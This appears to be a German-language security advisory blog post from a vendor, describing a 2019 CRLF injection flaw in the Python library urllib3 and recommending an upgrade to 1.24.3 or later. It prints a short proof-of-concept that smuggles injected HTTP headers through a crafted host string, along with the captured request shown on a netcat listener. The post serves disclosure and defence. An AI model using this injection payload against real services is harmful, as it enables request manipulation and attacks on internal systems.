Skip to main content

CRLF-Injection in beliebter Python-Abhängigkeit urllib3 entdeckt

Artikel von
Headshot of Hayley Denbraver

Hayley Denbraver

15. Mai 2019

0 Min. Lesezeit

Am 18. April 2019 wurde eine CRLF-Injection-Schwachstelle in der beliebten Python-Bibliothek urllib3 entdeckt. urllib3 ist ein HTTP-Client für Python und bietet nützliche Funktionen wie Thread-Sicherheit, Connection-Pooling, clientseitige SSL/TLS-Verifizierung und mehr. Die Bibliothek wird im Python-Ökosystem vielfach eingesetzt, unter anderem in requests, einer weiteren beliebten Bibliothek. Tatsächlich wird urllib3 von mehr als 500 Open-Source-Bibliotheken verwendet. Wenn Sie ein Python-Projekt haben, ist urllib3 sehr wahrscheinlich Teil Ihres Dependency-Trees.


Wir haben die Schwachstelle bereits in unsere Datenbank aufgenommen. Wenn Ihr Projekt von Snyk überwacht wird und das anfällige Paket enthält, haben Sie bereits eine unserer automatischen Benachrichtigungen erhalten. Falls nicht, können Sie Ihr Anwendungs-Code-Repository kostenlos prüfen, um festzustellen, ob es von der anfälligen urllib3-Version betroffen ist.

Wenn Ihre Python-Anwendung die anfällige Bibliothek verwendet, handeln Sie sofort und aktualisieren Sie auf die nächstliegende fehlerbereinigte Version, die Snyk in Ihrem Dependency-Tree angibt.


CRLF-Injection-Schwachstelle

CRLF steht für „Carriage Return, Line Feed“ und bezeichnet das Ende einer Zeile. Bei einer CRLF-Injection wird ein Zeilenende in eine Anwendung eingefügt. Im Fall der urllib3-Schwachstelle kann ein Angreifer, der den Parameter für die Zieladresse der Anfrage kontrolliert, einen HTTP-Header manipulieren und anschließend einen internen Dienst angreifen.

Die Schwachstelle wurde erstmals in einem Bericht im Python Bug Tracker thematisiert, in dem es um ein ähnliches Problem in urllib2/urllib ging. Diese Bibliotheken gehören jeweils zu den Standardbibliotheken von Python 2 und Python 3. Der Kommentator Alvin Chang (Benutzername alvinchang) merkte an, dass er den Exploit auch in urllib3 reproduzieren konnte.

Daraufhin wurde ein Issue im GitHub-Repository von urllib3 eröffnet. Eine Korrektur wurde sowohl in der 1.24.x-Release-Reihe als auch in der 1.25.x-Release-Reihe bereitgestellt.

Der Proof of Concept für die Schwachstelle wurde von dem Benutzer ragdoll im Python Bug Tracker veröffentlicht und von alvinchang für die urllib3-Version angepasst.

import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
info = pool_manager.request('GET', url).info()
print(info)
except Exception:
pass

# nc -l localhost 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity

In diesem Beispiel zeigt der nc-Server die HTTP-Anfrage mit dem manipulierten Header-Inhalt X-injected:header an. Das weist auf eine erfolgreiche Injection des HTTP-Headers hin.

Ist mein Projekt anfällig?

Möchten Sie wissen, ob Ihr Projekt anfällig ist? Erstellen Sie noch heute ein kostenloses Snyk-Konto und prüfen Sie Ihr Projekt auf Schwachstellen. Snyk erstellt einen Bericht mit allen bekannten Schwachstellen in Ihren Open-Source-Abhängigkeiten – einschließlich der urllib3-Bibliothek, falls Sie eine betroffene Version verwenden.

Wichtig ist, dass urllib3 häufig eine indirekte Abhängigkeit ist und in Ihrem Projekt installiert sein kann, ohne dass Sie es wissen. Einige direkte Abhängigkeiten, die urllib3 verwenden, nutzen die anfälligen Teile der Bibliothek gar nicht. So scheint beispielsweise die requests-Bibliothek, die urllib3 als Abhängigkeit enthält, derzeit nicht anfällig zu sein. Das gilt jedoch möglicherweise nicht für alle Projekte, die von urllib3 abhängen. Deshalb sollten Sie prüfen, ob urllib3 in Ihrem Dependency-Tree enthalten ist.

Wie schütze ich mein Projekt?

Wenn Sie feststellen, dass Ihr Projekt eine anfällige Version von urllib3 verwendet, empfehlen wir, urllib3 auf Version 1.24.3 oder höher zu aktualisieren. Damit schützen Sie sich auch vor einer Reihe weiterer Schwachstellen, die in der urllib3-Bibliothek entdeckt wurden. Außerdem empfehlen wir, Ihren Code auf Verwendungen von urllib2 oder urllib zu untersuchen (für Python-2- beziehungsweise Python-3-Projekte). Die Exploits für diese Schwachstellen in den Standardbibliotheken wurden noch nicht behoben. Daher sollten Sie Ihre individuelle Gefährdung durch eine Überprüfung Ihres Codes ermitteln.

Starten Sie mit Capture-the-Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.